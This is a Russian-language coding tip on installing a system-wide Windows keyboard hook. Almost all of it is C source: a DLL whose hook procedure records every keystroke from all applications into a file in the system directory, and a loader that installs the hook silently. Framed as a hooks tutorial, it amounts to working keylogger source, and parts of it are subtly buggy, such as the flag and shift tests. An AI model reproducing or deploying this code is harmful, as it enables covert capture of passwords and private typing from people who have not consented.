Как поставить system-wide хук

Для этого хук должен жить в длл.

текст DLL:

BOOL kdown=false;
HANDLE ghDLLInst = 0; // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];

BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
 ghDLLInst = hModule;

 switch (dwFunction)
 {
 case DLL_PROCESS_ATTACH:
 {

 GetSystemDirectory(
 sysdir,
 MAX_PATH
 );

 strcpy(logname,sysdir);
 strcat(logname,"\\kbdkeys.txt");

 }
 case DLL_PROCESS_DETACH:
 {
 }

 default:
 break;
 }
 return TRUE;
}
//------------------------------------------------
 LRESULT CALLBACK KeyboardProc(
 int code, // hook code
 WPARAM wParam, // virtual-key code
 LPARAM lParam // keystroke-message information
 )
{
BYTE aa[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3]&&64);
BYTE scancode=aa[2];
BYTE ww[4];
memcpy(ww,&wParam,4);

if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);

if(kdown&&(wParam==VK_SHIFT))shift=true;

if(!kdown&&(wParam==VK_SHIFT))shift=false;

if (kdown&&(wParam!=VK_SHIFT))
{
sprintf( buffer ,"%c",wParam );
if(isalpha(ww[0])&(!shift))wParam=wParam+32;
sprintf( buffer ,"%c",wParam );
if(wParam==VK_RETURN)strcpy(buffer,"\n");

 LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE |
FILE_SHARE_READ |
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
 OVERLAPPED ovlp;
 DWORD ffsze=GetFileSize(LFile,NULL);
 ovlp.OffsetHigh=0;
 ovlp.hEvent=NULL;
 ovlp.Offset=ffsze;

 WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);

 CloseHandle(LFile);
}
 return CallNextHookEx(NULL,code,wParam,lParam);
}
//----------------------------------------------------------------------//
текст приложения:

#include <commdlg.h>
#include <stdlib.h>
#include <winnls.h>

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
 LPSTR lpCmdLine, int nCmdShow);

//---------------------------------------------------------------------//
BOOL
SetHook(
 BOOL fSet
 )
{
 static HHOOK hhkKbdHook = NULL;
 static HANDLE hmodHook;

 if (fSet)
 {
 if (!hmodHook)
 {
 if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл
 {
 return FALSE;
 }
 }

 if (!hhkKbdHook)
 {
 if (!(hhkKbdHook =
 SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
 GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0)))
 {
 return FALSE;
 }
 }

 }
 else
 {
 if (hhkKbdHook)
 {
 UnhookWindowsHookEx(hhkKbdHook);
 hhkKbdHook = NULL;
 }

 }

 return TRUE;
}
//--------------------------------------------------------------------//
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
 LPSTR lpCmdLine, int nCmdShow)
{
 if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK);
 MSG msg;

 while (GetMessage (&msg, NULL, 0, 0))
 {
 TranslateMessage (&msg);
 DispatchMessage (&msg);
 }
 return( 0 );
}